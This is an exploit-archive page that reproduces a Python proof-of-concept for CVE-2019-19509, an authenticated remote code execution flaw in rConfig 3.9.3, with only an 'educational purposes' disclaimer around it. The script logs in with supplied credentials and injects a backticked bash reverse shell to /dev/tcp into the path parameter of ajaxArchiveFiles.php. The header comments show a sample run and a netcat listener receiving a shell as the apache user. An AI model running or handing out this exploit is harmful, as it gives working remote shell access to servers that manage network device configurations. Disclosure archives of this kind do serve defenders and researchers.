Rconfig 3.9.3 authenticated remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-01-30 | Type : webapps | Platform : php
This exploit / vulnerability Rconfig 3.9.3 authenticated remote code execution is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution
# Date: 2019-11-07
# CVE-2019-19509
# Exploit Author: vikingfr
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh
# Version: tested v3.9.3
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081
# rconfig - CVE-2019-19509 - Web authenticated RCE
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# ...
# $ nc -nvlp 8081
# listening on [any] 8081 ...
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458
# bash: no job control in this shell
# bash-4.2$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
# bash-4.2$

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig - CVE-2019-19509 - Web authenticated RCE")

if len(sys.argv) != 6:
print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)

request = requests.session()

login_info = {
"user": username,
"pass": password,
"sublogin": 1
}

login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
print ("[+] Logged in successfully, triggering the payload...")
encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
print ("[+] Check your listener !")
exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
print ("[-] Wrong credentials !")
exit()